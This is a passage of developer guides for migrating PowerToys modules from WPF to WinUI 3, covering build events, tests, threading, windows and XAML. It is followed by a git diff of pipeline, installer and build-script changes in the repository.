<Exec Command="powershell $(SolutionDir)tools\build\convert-resx-to-rc.ps1" />
<!-- After (works always) -->
<Exec Command="powershell $(MSBuildThisFileDirectory)..\..\..\..\tools\build\convert-resx-to-rc.ps1" />
```
### MSIX Packaging: PreBuild → PostBuild
MSIX packaging must happen AFTER the build (artifacts not ready at PreBuild):
```xml
<!-- Before -->
<PreBuildEvent>MakeAppx.exe pack /d . /p "$(OutDir)Package.msix" /o</PreBuildEvent>
<!-- After -->
<PostBuildEvent>
if exist "$(OutDir)Package.msix" del "$(OutDir)Package.msix"
MakeAppx.exe pack /d "$(MSBuildThisFileDirectory)." /p "$(OutDir)Package.msix" /o
</PostBuildEvent>
```
### RC File Icon Path Escaping
Windows Resource Compiler requires double-backslash paths:
```c
// Before (breaks)
IDI_ICON1 ICON "..\\ui\Assets\ImageResizer\ImageResizer.ico"
// After
IDI_ICON1 ICON "..\\ui\\Assets\\ImageResizer\\ImageResizer.ico"
```
### BOM/Encoding Normalization
Migration may strip UTF-8 BOM from C# files (`// Copyright``// Copyright`). This is cosmetic and safe, but be aware it will show as changes in diff.
---
## Test Adaptation
### Tests Requiring WPF Runtime
If tests still need WPF types (e.g., comparing old vs new output), temporarily add:
```xml
<UseWPF>true</UseWPF>
```
Remove this after fully migrating all test code to WinRT APIs.
### Tests Using ResourceLoader
Unit tests cannot easily initialize WinUI 3 `ResourceLoader`. Options:
- Hardcode expected strings in tests: `"Value must be between '{0}' and '{1}'."`
- Delete tests that only verify resource string lookup
- Avoid creating `App` instances in test harness (WinUI App cannot be instantiated in tests)
### Async Test Methods
All imaging tests become async:
```csharp
// Before
[TestMethod]
public void ResizesImage() { ... }
// After
[TestMethod]
public async Task ResizesImageAsync() { ... }
```
### uint Assertions
```csharp
// Before
Assert.AreEqual(96, image.Frames[0].PixelWidth);
// After
Assert.AreEqual(96u, decoder.PixelWidth);
```
### Pixel Data Access in Tests
```csharp
// Before (WPF)
public static Color GetFirstPixel(this BitmapSource source)
{
var pixel = new byte[4];
new FormatConvertedBitmap(
new CroppedBitmap(source, new Int32Rect(0, 0, 1, 1)),
PixelFormats.Bgra32, null, 0).CopyPixels(pixel, 4, 0);
return Color.FromArgb(pixel[3], pixel[2], pixel[1], pixel[0]);
}
// After (WinRT)
public static async Task<(byte R, byte G, byte B, byte A)> GetFirstPixelAsync(
this BitmapDecoder decoder)
{
using var bitmap = await decoder.GetSoftwareBitmapAsync(
BitmapPixelFormat.Bgra8, BitmapAlphaMode.Premultiplied);
var buffer = new Windows.Storage.Streams.Buffer(
(uint)(bitmap.PixelWidth * bitmap.PixelHeight * 4));
bitmap.CopyToBuffer(buffer);
using var reader = DataReader.FromBuffer(buffer);
byte b = reader.ReadByte(), g = reader.ReadByte(),
r = reader.ReadByte(), a = reader.ReadByte();
return (r, g, b, a);
}
```
### Metadata Assertions
```csharp
// Before
Assert.AreEqual("Test", ((BitmapMetadata)image.Frames[0].Metadata).Comment);
// After
var props = await decoder.BitmapProperties.GetPropertiesAsync(
new[] { "System.Photo.DateTaken" });
Assert.IsTrue(props.ContainsKey("System.Photo.DateTaken"),
"Metadata should be preserved during transcode");
```
### AllowUnsafeBlocks for SoftwareBitmap Tests
If tests access pixel data via `IMemoryBufferByteAccess`, add:
```xml
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
```
---
## Settings JSON Backward Compatibility
- Settings are stored in `%LOCALAPPDATA%\Microsoft\PowerToys\<ModuleName>\`
- Schema must remain backward-compatible across upgrades
- Add new fields with defaults; never remove or rename existing fields
- Create custom enums matching WPF enum integer values for deserialization (e.g., `ImagingEnums.cs`)
- See: `src/settings-ui/Settings.UI.Library/`
## IPC Contract
If the module communicates with the runner or settings UI:
1. Update BOTH sides of the IPC contract
2. Test settings changes are received by the module
3. Test module state changes are reflected in settings UI
4. Reference: `doc/devdocs/core/settings/runner-ipc.md`
---
## Checklist for PowerToys Module Migration
### Project & Dependencies
- [ ] Update `.csproj`: `UseWPF``UseWinUI`, TFM → `net8.0-windows10.0.19041.0`
- [ ] Add `WindowsPackageType=None`, `SelfContained=true`, `WindowsAppSDKSelfContained=true`
- [ ] Add `DISABLE_XAML_GENERATED_MAIN` if using custom `Program.cs`
- [ ] Replace NuGet packages (WPF-UI → remove, add WindowsAppSDK, etc.)
- [ ] Update project references (GPOWrapperProjection → GPOWrapper + CsWinRT)
- [ ] Move `InternalsVisibleTo` from code to `.csproj`
- [ ] Extract CLI shared logic to Library project (avoid Exe→WinExe dependency)
### MVVM & Resources
- [ ] Replace custom `Observable`/`RelayCommand` with CommunityToolkit.Mvvm source generators
- [ ] Migrate `.resx``.resw` (`Properties/Resources.resx``Strings/en-us/Resources.resw`)
- [ ] Create `ResourceLoaderInstance` helper
- [ ] Wrap resource-dependent statics in `Lazy<T>` or null-coalescing properties
- [ ] Delete `Properties/Resources.Designer.cs`, `Observable.cs`, `RelayCommand.cs`
### XAML
- [ ] Replace `clr-namespace:``using:` in all xmlns declarations
- [ ] Remove WPF-UI (Lepo) xmlns and controls — use native WinUI 3
- [ ] Replace `{x:Static p:Resources.Key}``x:Uid` with `.resw` keys
- [ ] Replace `{DynamicResource}``{ThemeResource}`
- [ ] Replace `DataType="{x:Type ...}"``x:DataType="..."`
- [ ] Replace `<Style.Triggers>``VisualStateManager`
- [ ] Add `<XamlControlsResources/>` to `App.xaml` merged dictionaries
- [ ] Move `Window.Resources` to root container's `Resources`
- [ ] Run XamlStyler: `.\.pipelines\applyXamlStyling.ps1 -Main`
### Code-Behind & APIs
- [ ] Replace all `System.Windows.*` namespaces with `Microsoft.UI.Xaml.*`
- [ ] Replace `Dispatcher` with `DispatcherQueue`
- [ ] Store `DispatcherQueue` reference explicitly (no `Application.Current.Dispatcher`)
- [ ] Implement `SizeToContent()` via AppWindow if needed
- [ ] Update `ContentDialog` calls to set `XamlRoot`
- [ ] Update `FilePicker` calls with HWND initialization
- [ ] Migrate imaging code to `Windows.Graphics.Imaging` (async, `SoftwareBitmap`)
- [ ] Create `CodecHelper` for legacy GUID → WinRT codec ID mapping (if imaging)
- [ ] Create custom imaging enums for JSON backward compatibility (if imaging)
- [ ] Update all `IValueConverter` signatures (`CultureInfo``string`)
### Build & Installer
- [ ] Update WiX installer: remove satellite assembly refs from `Resources.wxs`
- [ ] Run `generateAllFileComponents.ps1`; handle phantom artifacts
- [ ] Update ESRP signing paths to `WinUI3Apps\\`
- [ ] Fix `$(SolutionDir)``$(MSBuildThisFileDirectory)` in build events
- [ ] Move MSIX packaging from PreBuild to PostBuild
- [ ] Fix RC file path escaping (double-backslash)
- [ ] Verify output dir is `WinUI3Apps/`
### Testing & Validation
- [ ] Update test project: async methods, `uint` assertions
- [ ] Handle ResourceLoader unavailability in tests (hardcode strings or skip)
- [ ] Build clean: `cd` to project folder, `tools/build/build.cmd`, exit code 0
- [ ] Run tests for affected module
- [ ] Verify settings JSON backward compatibility
- [ ] Test IPC contracts (runner ↔ settings UI)

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# Threading and Window Management Migration
Based on patterns from the ImageResizer migration.
## Dispatcher → DispatcherQueue
### API Mapping
| WPF | WinUI 3 |
|-----|---------|
| `Dispatcher.Invoke(Action)` | `DispatcherQueue.TryEnqueue(Action)` |
| `Dispatcher.BeginInvoke(Action)` | `DispatcherQueue.TryEnqueue(Action)` |
| `Dispatcher.Invoke(DispatcherPriority, Action)` | `DispatcherQueue.TryEnqueue(DispatcherQueuePriority, Action)` |
| `Dispatcher.CheckAccess()` | `DispatcherQueue.HasThreadAccess` |
| `Dispatcher.VerifyAccess()` | Check `DispatcherQueue.HasThreadAccess` (no exception-throwing method) |
### Priority Mapping
WinUI 3 has only 3 levels: `High`, `Normal`, `Low`.
| WPF `DispatcherPriority` | WinUI 3 `DispatcherQueuePriority` |
|-------------------------|----------------------------------|
| `Send` | `High` |
| `Normal` / `Input` / `Loaded` / `Render` / `DataBind` | `Normal` |
| `Background` / `ContextIdle` / `ApplicationIdle` / `SystemIdle` | `Low` |
### Pattern: Global DispatcherQueue Access (from ImageResizer)
WPF provided `Application.Current.Dispatcher` globally. WinUI 3 requires explicit storage:
```csharp
// Store DispatcherQueue at app startup
private static DispatcherQueue _uiDispatcherQueue;
public static void InitializeDispatcher()
{
_uiDispatcherQueue = DispatcherQueue.GetForCurrentThread();
}
```
Usage with thread-check pattern (from `Settings.Reload()`):
```csharp
var currentDispatcher = DispatcherQueue.GetForCurrentThread();
if (currentDispatcher != null)
{
// Already on UI thread
ReloadCore(jsonSettings);
}
else if (_uiDispatcherQueue != null)
{
// Dispatch to UI thread
_uiDispatcherQueue.TryEnqueue(() => ReloadCore(jsonSettings));
}
else
{
// Fallback (e.g., CLI mode, no UI)
ReloadCore(jsonSettings);
}
```
### Pattern: DispatcherQueue in ViewModels (from ProgressViewModel)
```csharp
public class ProgressViewModel
{
private readonly DispatcherQueue _dispatcherQueue;
public ProgressViewModel()
{
_dispatcherQueue = DispatcherQueue.GetForCurrentThread();
}
private void OnProgressChanged(double progress)
{
_dispatcherQueue.TryEnqueue(() =>
{
Progress = progress;
// other UI updates...
});
}
}
```
### Pattern: Async Dispatch (await)
```csharp
// WPF
await this.Dispatcher.InvokeAsync(() => { /* UI work */ });
// WinUI 3 (using TaskCompletionSource)
var tcs = new TaskCompletionSource();
this.DispatcherQueue.TryEnqueue(() =>
{
try { /* UI work */ tcs.SetResult(); }
catch (Exception ex) { tcs.SetException(ex); }
});
await tcs.Task;
```
### C++/WinRT Threading
| Old API | New API |
|---------|---------|
| `winrt::resume_foreground(CoreDispatcher)` | `wil::resume_foreground(DispatcherQueue)` |
| `CoreDispatcher.RunAsync()` | `DispatcherQueue.TryEnqueue()` |
Add `Microsoft.Windows.ImplementationLibrary` NuGet for `wil::resume_foreground`.
---
## Window Management
### WPF Window vs WinUI 3 Window
| Feature | WPF `Window` | WinUI 3 `Window` |
|---------|-------------|------------------|
| Base class | `ContentControl``DependencyObject` | **NOT** a control, NOT a `DependencyObject` |
| `Resources` property | Yes | No — use root container's `Resources` |
| `DataContext` property | Yes | No — use root `Page`/`UserControl` |
| `VisualStateManager` | Yes | No — use inside child controls |
| `Load`/`Unload` events | Yes | No |
| `SizeToContent` | Yes (`Height`/`Width`/`WidthAndHeight`) | No — must implement manually |
| `WindowState` (min/max/normal) | Yes | No — use `AppWindow.Presenter` |
| `WindowStyle` | Yes | No — use `AppWindow` title bar APIs |
| `ResizeMode` | Yes | No — use `AppWindow.Presenter` |
| `WindowStartupLocation` | Yes | No — calculate manually |
| `Icon` | `Window.Icon` | `AppWindow.SetIcon()` |
| `Title` | `Window.Title` | `AppWindow.Title` (or `Window.Title`) |
| Size (Width/Height) | Yes | No — use `AppWindow.Resize()` |
| Position (Left/Top) | Yes | No — use `AppWindow.Move()` |
| `IsDefault`/`IsCancel` on buttons | Yes | No — handle Enter/Escape in code-behind |
### Getting AppWindow from Window
```csharp
using Microsoft.UI;
using Microsoft.UI.Windowing;
using WinRT.Interop;
IntPtr hwnd = WindowNative.GetWindowHandle(window);
WindowId windowId = Win32Interop.GetWindowIdFromWindow(hwnd);
AppWindow appWindow = AppWindow.GetFromWindowId(windowId);
```
### Pattern: SizeToContent Replacement (from ImageResizer)
WinUI 3 has no `SizeToContent`. ImageResizer implemented a manual equivalent:
```csharp
private void SizeToContent()
{
if (Content is not FrameworkElement content)
return;
// Measure desired content size
content.Measure(new Size(double.PositiveInfinity, double.PositiveInfinity));
var desiredHeight = content.DesiredSize.Height + WindowChromeHeight + Padding;
// Account for DPI scaling
var scaleFactor = Content.XamlRoot.RasterizationScale;
var pixelHeight = (int)(desiredHeight * scaleFactor);
var pixelWidth = (int)(WindowWidth * scaleFactor);
// Resize via AppWindow
var hwnd = WindowNative.GetWindowHandle(this);
var windowId = Win32Interop.GetWindowIdFromWindow(hwnd);
var appWindow = AppWindow.GetFromWindowId(windowId);
appWindow.Resize(new Windows.Graphics.SizeInt32(pixelWidth, pixelHeight));
}
```
**Key details:**
- `WindowChromeHeight` ≈ 32px for the title bar
- Must multiply by `RasterizationScale` for DPI-aware sizing
- Call `SizeToContent()` after page navigation or content changes
- Unsubscribe previous event handlers before subscribing new ones to avoid memory leaks
### Window Positioning (Center Screen)
```csharp
var displayArea = DisplayArea.GetFromWindowId(windowId, DisplayAreaFallback.Nearest);
var centerX = (displayArea.WorkArea.Width - appWindow.Size.Width) / 2;
var centerY = (displayArea.WorkArea.Height - appWindow.Size.Height) / 2;
appWindow.Move(new Windows.Graphics.PointInt32(centerX, centerY));
```
### Window State (Minimize/Maximize)
```csharp
(appWindow.Presenter as OverlappedPresenter)?.Maximize();
(appWindow.Presenter as OverlappedPresenter)?.Minimize();
(appWindow.Presenter as OverlappedPresenter)?.Restore();
```
### Title Bar Customization
```csharp
// Extend content into title bar
this.ExtendsContentIntoTitleBar = true;
this.SetTitleBar(AppTitleBar); // AppTitleBar is a XAML element
// Or via AppWindow API
if (AppWindowTitleBar.IsCustomizationSupported())
{
var titleBar = appWindow.TitleBar;
titleBar.ExtendsContentIntoTitleBar = true;
titleBar.ButtonBackgroundColor = Colors.Transparent;
}
```
### Tracking the Main Window
```csharp
public partial class App : Application
{
public static Window MainWindow { get; private set; }
protected override void OnLaunched(LaunchActivatedEventArgs args)
{
MainWindow = new MainWindow();
MainWindow.Activate();
}
}
```
### ContentDialog Requires XamlRoot
```csharp
var dialog = new ContentDialog
{
Title = "Confirm",
Content = "Are you sure?",
PrimaryButtonText = "Yes",
CloseButtonText = "No",
XamlRoot = this.Content.XamlRoot // REQUIRED
};
var result = await dialog.ShowAsync();
```
### File Pickers Require HWND
```csharp
var picker = new FileOpenPicker();
picker.FileTypeFilter.Add(".jpg");
// REQUIRED for desktop apps
var hwnd = WindowNative.GetWindowHandle(App.MainWindow);
WinRT.Interop.InitializeWithWindow.Initialize(picker, hwnd);
var file = await picker.PickSingleFileAsync();
```
### Window Close Handling
```csharp
// WPF
protected override void OnClosing(CancelEventArgs e) { e.Cancel = true; this.Hide(); }
// WinUI 3
this.AppWindow.Closing += (s, e) => { e.Cancel = true; this.AppWindow.Hide(); };
```
---
## Custom Entry Point (DISABLE_XAML_GENERATED_MAIN)
ImageResizer uses a custom `Program.cs` entry point instead of the WinUI 3 auto-generated `Main`. This is needed for:
- CLI mode (process files without showing UI)
- Custom initialization before the WinUI 3 App starts
- Single-instance enforcement
### Setup
In `.csproj`:
```xml
<DefineConstants>DISABLE_XAML_GENERATED_MAIN,TRACE</DefineConstants>
```
Create `Program.cs`:
```csharp
public static class Program
{
[STAThread]
public static int Main(string[] args)
{
if (args.Length > 0)
{
// CLI mode — no UI
return RunCli(args);
}
// GUI mode
WinRT.ComWrappersSupport.InitializeComWrappers();
Application.Start((p) =>
{
var context = new DispatcherQueueSynchronizationContext(
DispatcherQueue.GetForCurrentThread());
SynchronizationContext.SetSynchronizationContext(context);
_ = new App();
});
return 0;
}
}
```
### WPF App Constructor Removal
WPF modules often created `new App()` to initialize the WPF `Application` and get `Application.Current.Dispatcher`. This is no longer needed — the WinUI 3 `Application.Start()` handles this.
```csharp
// DELETE (WPF pattern):
_imageResizerApp = new App();
// REPLACE with: Store DispatcherQueue explicitly (see Global DispatcherQueue Access above)
```

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# XAML Migration Guide
Detailed reference for migrating XAML from WPF to WinUI 3, based on the ImageResizer migration.
## XML Namespace Declaration Changes
### Before (WPF)
```xml
<Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:local="clr-namespace:MyApp"
xmlns:m="clr-namespace:ImageResizer.Models"
xmlns:p="clr-namespace:ImageResizer.Properties"
xmlns:sys="clr-namespace:System;assembly=mscorlib"
xmlns:ui="http://schemas.lepo.co/wpfui/2022/xaml"
x:Class="MyApp.MainWindow">
```
### After (WinUI 3)
```xml
<Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:local="using:MyApp"
xmlns:m="using:ImageResizer.Models"
xmlns:converters="using:ImageResizer.Converters"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
x:Class="MyApp.MainWindow">
```
### Key Changes
| WPF Syntax | WinUI 3 Syntax | Notes |
|------------|---------------|-------|
| `clr-namespace:Foo` | `using:Foo` | CLR namespace mapping |
| `clr-namespace:Foo;assembly=Bar` | `using:Foo` | Assembly qualification not needed |
| `xmlns:ui="http://schemas.lepo.co/wpfui/2022/xaml"` | **Remove entirely** | WPF-UI namespace no longer needed |
| `xmlns:p="clr-namespace:...Properties"` | **Remove** | No more `.resx` string bindings |
| `sys:String` (from mscorlib) | `x:String` | XAML intrinsic types |
| `sys:Int32` | `x:Int32` | XAML intrinsic types |
| `sys:Boolean` | `x:Boolean` | XAML intrinsic types |
| `sys:Double` | `x:Double` | XAML intrinsic types |
## Unsupported Markup Extensions
| WPF Markup Extension | WinUI 3 Alternative |
|----------------------|---------------------|
| `{DynamicResource Key}` | `{ThemeResource Key}` (theme-reactive) or `{StaticResource Key}` |
| `{x:Static Type.Member}` | `{x:Bind}` to a static property, or code-behind |
| `{x:Type local:MyType}` | Not supported; use code-behind |
| `{x:Array}` | Not supported; create collections in code-behind |
| `{x:Code}` | Not supported |
### DynamicResource → ThemeResource
```xml
<!-- WPF -->
<TextBlock Foreground="{DynamicResource MyBrush}" />
<!-- WinUI 3 -->
<TextBlock Foreground="{ThemeResource MyBrush}" />
```
`ThemeResource` automatically updates when the app theme changes (Light/Dark/HighContrast). For truly dynamic non-theme resources, set values in code-behind or use data binding.
### x:Static Resource Strings → x:Uid
This is the most pervasive XAML change. WPF used `{x:Static}` to bind to strongly-typed `.resx` resource strings. WinUI 3 uses `x:Uid` with `.resw` files.
**WPF:**
```xml
<Button Content="{x:Static p:Resources.Cancel}" />
<TextBlock Text="{x:Static p:Resources.Input_Header}" />
```
**WinUI 3:**
```xml
<Button x:Uid="Cancel" />
<TextBlock x:Uid="Input_Header" />
```
In `Strings/en-us/Resources.resw`:
```xml
<data name="Cancel.Content" xml:space="preserve">
<value>Cancel</value>
</data>
<data name="Input_Header.Text" xml:space="preserve">
<value>Select a size</value>
</data>
```
The `x:Uid` suffix (`.Content`, `.Text`, `.Header`, `.PlaceholderText`, etc.) matches the target property name.
### DataType with x:Type → Remove
**WPF:**
```xml
<DataTemplate DataType="{x:Type m:ResizeSize}">
```
**WinUI 3:**
```xml
<DataTemplate x:DataType="m:ResizeSize">
```
## WPF-UI (Lepo) Controls Removal
If the module uses the `WPF-UI` library, replace all Lepo controls with native WinUI 3 equivalents.
### Window
```xml
<!-- WPF (WPF-UI) -->
<ui:FluentWindow
ExtendsContentIntoTitleBar="True"
WindowStartupLocation="CenterScreen">
<ui:TitleBar Title="Image Resizer" />
...
</ui:FluentWindow>
<!-- WinUI 3 (native) -->
<Window>
<!-- Title bar managed via code-behind: this.ExtendsContentIntoTitleBar = true; -->
...
</Window>
```
### App.xaml Resources
```xml
<!-- WPF (WPF-UI) -->
<Application.Resources>
<ResourceDictionary>
<ResourceDictionary.MergedDictionaries>
<ui:ThemesDictionary Theme="Dark" />
<ui:ControlsDictionary />
</ResourceDictionary.MergedDictionaries>
</ResourceDictionary>
</Application.Resources>
<!-- WinUI 3 (native) -->
<Application.Resources>
<ResourceDictionary>
<ResourceDictionary.MergedDictionaries>
<XamlControlsResources xmlns="using:Microsoft.UI.Xaml.Controls" />
</ResourceDictionary.MergedDictionaries>
</ResourceDictionary>
</Application.Resources>
```
### Common Control Replacements
```xml
<!-- WPF-UI NumberBox -->
<ui:NumberBox Value="{Binding Width}" />
<!-- WinUI 3 -->
<NumberBox Value="{x:Bind ViewModel.Width, Mode=TwoWay}" />
<!-- WPF-UI InfoBar -->
<ui:InfoBar Title="Warning" Message="..." IsOpen="True" Severity="Warning" />
<!-- WinUI 3 -->
<InfoBar Title="Warning" Message="..." IsOpen="True" Severity="Warning" />
<!-- WPF-UI ProgressRing -->
<ui:ProgressRing IsIndeterminate="True" />
<!-- WinUI 3 -->
<ProgressRing IsActive="True" />
<!-- WPF-UI SymbolIcon -->
<ui:SymbolIcon Symbol="Add" />
<!-- WinUI 3 -->
<SymbolIcon Symbol="Add" />
```
### Button Patterns
```xml
<!-- WPF -->
<Button IsDefault="True" Content="OK" />
<Button IsCancel="True" Content="Cancel" />
<!-- WinUI 3 (no IsDefault/IsCancel) -->
<Button Style="{StaticResource AccentButtonStyle}" Content="OK" />
<Button Content="Cancel" />
<!-- Handle Enter/Escape keys in code-behind if needed -->
```
## Style and Template Changes
### Triggers → VisualStateManager
WPF `Triggers`, `DataTriggers`, and `EventTriggers` are not supported.
**WPF:**
```xml
<Style TargetType="Button">
<Style.Triggers>
<Trigger Property="IsMouseOver" Value="True">
<Setter Property="Background" Value="LightBlue"/>
</Trigger>
<DataTrigger Binding="{Binding IsEnabled}" Value="False">
<Setter Property="Opacity" Value="0.5"/>
</DataTrigger>
</Style.Triggers>
</Style>
```
**WinUI 3:**
```xml
<Style TargetType="Button">
<Setter Property="Template">
<Setter.Value>
<ControlTemplate TargetType="Button">
<Grid x:Name="RootGrid" Background="{TemplateBinding Background}">
<VisualStateManager.VisualStateGroups>
<VisualStateGroup x:Name="CommonStates">
<VisualState x:Name="PointerOver">
<VisualState.Setters>
<Setter Target="RootGrid.Background" Value="LightBlue"/>
</VisualState.Setters>
</VisualState>
</VisualStateGroup>
</VisualStateManager.VisualStateGroups>
<ContentPresenter />
</Grid>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
```
### No Binding in Setter.Value
```xml
<!-- WPF (works) -->
<Setter Property="Foreground" Value="{Binding TextColor}"/>
<!-- WinUI 3 (does NOT work — use StaticResource) -->
<Setter Property="Foreground" Value="{StaticResource TextColorBrush}"/>
```
### Visual State Name Changes
| WPF | WinUI 3 |
|-----|---------|
| `MouseOver` | `PointerOver` |
| `Disabled` | `Disabled` |
| `Pressed` | `Pressed` |
## Resource Dictionary Changes
### Window.Resources → Grid.Resources
WinUI 3 `Window` is NOT a `DependencyObject` — no `Window.Resources`, `DataContext`, or `VisualStateManager`.
```xml
<!-- WPF -->
<Window>
<Window.Resources>
<SolidColorBrush x:Key="MyBrush" Color="Red"/>
</Window.Resources>
<Grid>...</Grid>
</Window>
<!-- WinUI 3 -->
<Window>
<Grid>
<Grid.Resources>
<SolidColorBrush x:Key="MyBrush" Color="Red"/>
</Grid.Resources>
...
</Grid>
</Window>
```
### Theme Dictionaries
```xml
<ResourceDictionary>
<ResourceDictionary.ThemeDictionaries>
<ResourceDictionary x:Key="Light">
<SolidColorBrush x:Key="MyBrush" Color="#FF000000"/>
</ResourceDictionary>
<ResourceDictionary x:Key="Dark">
<SolidColorBrush x:Key="MyBrush" Color="#FFFFFFFF"/>
</ResourceDictionary>
<ResourceDictionary x:Key="HighContrast">
<SolidColorBrush x:Key="MyBrush" Color="{ThemeResource SystemColorWindowTextColor}"/>
</ResourceDictionary>
</ResourceDictionary.ThemeDictionaries>
</ResourceDictionary>
```
## URI Scheme Changes
| WPF | WinUI 3 |
|-----|---------|
| `pack://application:,,,/MyAssembly;component/image.png` | `ms-appx:///Assets/image.png` |
| `pack://application:,,,/image.png` | `ms-appx:///image.png` |
| Relative path `../image.png` | `ms-appx:///image.png` |
Assets directory convention: `Resources/``Assets/<Module>/`
## Data Binding Changes
### {Binding} vs {x:Bind}
Both are available. Prefer `{x:Bind}` for compile-time safety and performance.
| Feature | `{Binding}` | `{x:Bind}` |
|---------|------------|------------|
| Default mode | `OneWay` | **`OneTime`** (explicit `Mode=OneWay` required!) |
| Context | `DataContext` | Code-behind class |
| Resolution | Runtime | Compile-time |
| Performance | Reflection-based | Compiled |
| Function binding | No | Yes |
### WPF-Specific Binding Features to Remove
```xml
<!-- These WPF-only features must be removed or rewritten -->
<TextBox Text="{Binding Value, UpdateSourceTrigger=PropertyChanged}" />
<!-- WinUI 3: UpdateSourceTrigger not needed; TextBox uses PropertyChanged by default -->
<TextBox Text="{x:Bind ViewModel.Value, Mode=TwoWay}" />
{Binding RelativeSource={RelativeSource Self}, ...}
<!-- WinUI 3: Use x:Bind which binds to the page itself, or use ElementName -->
<ItemsControl ItemsSource="{Binding}" />
<!-- WinUI 3: Must specify explicit path -->
<ItemsControl ItemsSource="{x:Bind ViewModel.Items}" />
```
## WPF-Only Window Properties to Remove
These properties exist on WPF `Window` but not WinUI 3:
```xml
<!-- Remove from XAML — handle in code-behind via AppWindow API -->
SizeToContent="Height"
WindowStartupLocation="CenterScreen"
ResizeMode="NoResize"
ExtendsContentIntoTitleBar="True" <!-- Set in code-behind -->
```
## XAML Control Property Changes
| WPF Property | WinUI 3 Property | Notes |
|-------------|-----------------|-------|
| `Focusable` | `IsTabStop` | Different name |
| `SnapsToDevicePixels` | Not available | WinUI handles pixel snapping internally |
| `UseLayoutRounding` | `UseLayoutRounding` | Same |
| `IsHitTestVisible` | `IsHitTestVisible` | Same |
| `TextBox.VerticalScrollBarVisibility` | `ScrollViewer.VerticalScrollBarVisibility` (attached) | Attached property |
## XAML Formatting (XamlStyler)
After migration, run XamlStyler to normalize formatting:
- Alphabetize xmlns declarations and element attributes
- Add UTF-8 BOM to all XAML files
- Normalize comment spacing: `<!-- text -->``<!-- text -->`
PowerToys command: `.\.pipelines\applyXamlStyling.ps1 -Main`

5
.gitignore vendored
View File

@@ -360,3 +360,8 @@ src/common/Telemetry/*.etl
# PowerToysInstaller Build Temp Files
installer/*/*.wxs.bk
/src/modules/awake/.claude
# Squad / Copilot agents — local-only, not committed
.squad/
.squad-workstream
.github/agents/

View File

@@ -106,7 +106,13 @@
"PowerToys.SvgThumbnailProvider.dll",
"PowerToys.SvgThumbnailProvider.exe",
"PowerToys.SvgThumbnailProviderCpp.dll",
"PowerToys.KeyboardManager.dll",
"KeyboardManagerEditor\\PowerToys.KeyboardManagerEditor.exe",
"WinUI3Apps\\PowerToys.KeyboardManagerEditorUI.exe",
"WinUI3Apps\\PowerToys.KeyboardManagerEditorUI.dll",
"KeyboardManagerEngine\\PowerToys.KeyboardManagerEngine.exe",
"PowerToys.KeyboardManagerEditorLibraryWrapper.dll",
"WinUI3Apps\\PowerToys.HostsModuleInterface.dll",
"WinUI3Apps\\PowerToys.HostsUILib.dll",
"WinUI3Apps\\PowerToys.Hosts.dll",
@@ -211,9 +217,6 @@
"PowerToys.PowerAccentModuleInterface.dll",
"PowerToys.PowerAccentKeyboardService.dll",
"PowerToys.PowerDisplayModuleInterface.dll",
"WinUI3Apps\\PowerToys.PowerDisplay.dll",
"WinUI3Apps\\PowerToys.PowerDisplay.exe",
"PowerDisplay.Lib.dll",
"WinUI3Apps\\PowerToys.PowerRenameExt.dll",

View File

@@ -9,7 +9,7 @@ schedules:
always: false # only run if there's code changes!
pool:
vmImage: windows-2019
vmImage: windows-latest
resources:
repositories:

View File

@@ -200,7 +200,7 @@ jobs:
- template: steps-ensure-dotnet-version.yml
parameters:
sdk: true
version: '10.0'
version: '9.0'
- ${{ if eq(parameters.runTests, true) }}:
- task: VisualStudioTestPlatformInstaller@1
@@ -210,6 +210,9 @@ jobs:
& '.pipelines/applyXamlStyling.ps1' -Passive
displayName: Verify XAML formatting
- task: NuGetAuthenticate@1
displayName: Authenticate NuGet feeds for verification
- pwsh: |-
& '.pipelines/verifyNugetPackages.ps1' -solution '$(build.sourcesdirectory)\PowerToys.slnx'
displayName: Verify Nuget package versions for PowerToys.slnx
@@ -415,7 +418,7 @@ jobs:
/p:VCRTForwarders-IncludeDebugCRT=false
/p:PowerToysRoot=$(Build.SourcesDirectory)
/p:PublishProfile=InstallationPublishProfile.pubxml
/p:TargetFramework=net10.0-windows10.0.26100.0
/p:TargetFramework=net9.0-windows10.0.26100.0
/bl:$(LogOutputDirectory)\publish-${{ join('_',split(project, '/')) }}.binlog
$(RestoreAdditionalProjectSourcesArg)
platform: $(BuildPlatform)

View File

@@ -1,7 +1,7 @@
parameters:
- name: version
type: string
default: "10.0"
default: "9.0"
- name: sdk
type: boolean
default: false

View File

@@ -22,7 +22,7 @@ $totalList = $projFiles | ForEach-Object -Parallel {
#Workaround for preventing exit code from dotnet process from reflecting exit code in PowerShell
$procInfo = New-Object System.Diagnostics.ProcessStartInfo -Property @{
FileName = "dotnet.exe";
Arguments = "list $csproj package --no-restore";
Arguments = "list $csproj package";
RedirectStandardOutput = $true;
RedirectStandardError = $true;
}

View File

@@ -17,10 +17,10 @@ $nonDirectoryAssetsItems = Get-ChildItem $targetAssetsDir -Attributes !Directory
$directoryAssetsItems = Get-ChildItem $targetAssetsDir -Attributes Directory
if ($directoryAssetsItems.Count -le 0) {
Write-Host -ForegroundColor Red "No directories detected in " $nonDirectoryAssetsItems ". Are you sure this is the right path?`r`n"
Write-Host -ForegroundColor Red "ERROR: No directories detected in " $nonDirectoryAssetsItems ". Are you sure this is the right path?`r`n"
$totalFailures++;
} elseif ($nonDirectoryAssetsItems.Count -gt 0) {
Write-Host -ForegroundColor Red "Detected " $nonDirectoryAssetsItems " files in " $targetAssetsDir "`r`n"
Write-Host -ForegroundColor Red "ERROR: Detected " $nonDirectoryAssetsItems " files in " $targetAssetsDir ". Each application should use a named subdirectory for assets.`r`n"
$totalFailures++;
} else {
Write-Host -ForegroundColor Green "Only directories detected in " $targetAssetsDir "`r`n"
@@ -29,7 +29,7 @@ if ($directoryAssetsItems.Count -le 0) {
# Make sure there's no resources.pri file. Each application should use a different name for their own resources file path.
$resourcesPriFiles = Get-ChildItem $targetDir -Filter resources.pri
if ($resourcesPriFiles.Count -gt 0) {
Write-Host -ForegroundColor Red "Detected a resources.pri file in " $targetDir "`r`n"
